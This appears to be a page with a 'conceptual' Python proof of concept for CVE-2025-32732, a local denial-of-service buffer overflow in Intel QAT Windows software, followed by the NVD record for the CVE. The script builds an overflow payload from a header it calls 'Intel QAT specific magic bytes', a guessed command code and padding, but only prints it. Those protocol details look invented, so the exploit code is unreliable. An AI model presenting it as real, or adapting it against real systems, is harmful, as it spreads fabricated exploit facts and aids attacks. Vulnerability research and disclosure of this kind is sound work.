CVE-2025-32732

# CVE-2025-32732 PoC - Intel QAT Buffer Overflow # Note: This is a conceptual PoC for demonstration purposes # Actual exploitation requires specific conditions and environment import struct import sys def generate_qat_trigger_payload(): """Generate payload to trigger buffer overflow in Intel QAT""" # Intel QAT specific magic bytes header = b'QAT\x00\x00\x00\x00' # Command type that triggers vulnerable code path cmd_type = struct.pack('<I', 0x1001) # Specific command # Length field - if not properly validated length = struct.pack('<I', 0x1000) # Oversized length # Craft oversized buffer that exceeds bounds # This would cause buffer overflow when processed payload_size = 0x2000 # Larger than expected buffer overflow_data = b'A' * payload_size # Additional padding for complete overwrite padding = b'\x00' * 0x100 full_payload = header + cmd_type + length + overflow_data + padding return full_payload def exploit(): """Attempt to trigger the buffer overflow""" print("[*] CVE-2025-32732 Intel QAT Buffer Overflow PoC") print("[*] Target: Intel QAT Windows software < 2.6.0") payload = generate_qat_trigger_payload() print(f"[*] Generated payload size: {len(payload)} bytes") print("[*] Payload structure:") print(" - Header: QAT signature") print(" - Command type: 0x1001") print(" - Length field: 0x1000") print(" - Overflow data: 0x2000 bytes") print("\n[*] Note: Actual exploitation requires:") print(" - Local access to Windows system") print(" - Low-privilege authenticated user account") print(" - Intel QAT driver installed") print("\n[*] Mitigation: Upgrade to Intel QAT version 2.6.0 or later") return payload if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-32732", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:49.890", "lastModified": "2025-11-26T15:41:52.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer overflow for some Intel(R) QAT Windows software before version 2.6.0. within Ring 3: User Applications may allow a denial of service. System software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (low), integrity (low) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:intel:quickassist_technology:*:*:*:*:*:windows:*:*", "versionEndExcluding": "2.6.0-0018", "matchCriteriaId": "6416303E-851F-4530-875E-D349969919BE"}]}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01373.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}